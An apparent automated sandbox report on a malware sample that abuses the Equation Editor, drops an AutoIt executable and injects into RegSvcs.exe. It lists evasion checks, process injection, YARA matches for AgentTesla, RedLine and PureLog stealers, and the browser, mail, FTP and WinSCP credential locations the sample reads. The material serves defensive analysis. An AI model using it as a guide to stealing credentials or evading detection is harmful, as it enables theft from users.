Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03590242 rdtsc

2_2_03590242

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

4_2_004019F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Users\user\AppData\Roaming\CKK.exe

API coverage: 4.5 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2008

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	3_2_00EADBBE
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E7C2A2 FindFirstFileExW,	3_2_00E7C2A2
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB68EE FindFirstFileW,FindClose,	3_2_00EB68EE
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	3_2_00EB698F
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EAD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00EAD076
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EAD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_00EAD3A9
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00EB9642
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00EB979D
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	3_2_00EB9B2B
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EB5C97 FindFirstFileW,FindNextFileW,FindClose,	3_2_00EB5C97

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_00E442DE

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-7738
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-6739
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-6786
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_03590242 rdtsc

2_2_03590242

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EBEAA2 BlockInput,

3_2_00EBEAA2

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E72622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00E72622

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

4_2_004019F0

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_00E442DE

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035905E4 mov edx, dword ptr fs:[00000030h]	2_2_035905E4
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E64CE8 mov eax, dword ptr fs:[00000030h]	3_2_00E64CE8
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_001134D0 mov eax, dword ptr fs:[00000030h]	3_2_001134D0
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00113530 mov eax, dword ptr fs:[00000030h]	3_2_00113530
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00111ED0 mov eax, dword ptr fs:[00000030h]	3_2_00111ED0

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EA0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

3_2_00EA0B62

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E609D5 SetUnhandledExceptionFilter,	3_2_00E609D5
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E72622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00E72622
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E6083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00E6083F
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E60C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00E60C21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0040CE09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0040E61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00416F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004123F1 SetUnhandledExceptionFilter,	4_2_004123F1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\CKK.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\CKK.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008

Jump to behavior

Source: C:\Users\user\AppData\Roaming\CKK.exe

3_2_00EA1201

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E82BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

3_2_00E82BA5

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EAB226 SendInput,keybd_event,

3_2_00EAB226

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EC22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

3_2_00EC22DA

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\CKK.exe "C:\Users\user\AppData\Roaming\CKK.exe"			Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\CKK.exe"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\CKK.exe

3_2_00EA0B62

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EA1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

3_2_00EA1663

Source: CKK.exe, 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmp, CKK.exe.2.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: CKK.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E60698 cpuid

3_2_00E60698

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: GetLocaleInfoA,

4_2_00417A20

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E7333F GetSystemTimeAsFileTime,

3_2_00E7333F

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E9D27A GetUserNameW,

3_2_00E9D27A

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E7B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

3_2_00E7B952

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_00E442DE

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1128, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.CKK.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: CKK.exe	Binary or memory string: WIN_81
Source: CKK.exe	Binary or memory string: WIN_XP
Source: CKK.exe.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: CKK.exe	Binary or memory string: WIN_XPe
Source: CKK.exe	Binary or memory string: WIN_VISTA
Source: CKK.exe	Binary or memory string: WIN_7
Source: CKK.exe	Binary or memory string: WIN_8

Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608494898.0000000002493000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1128, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE
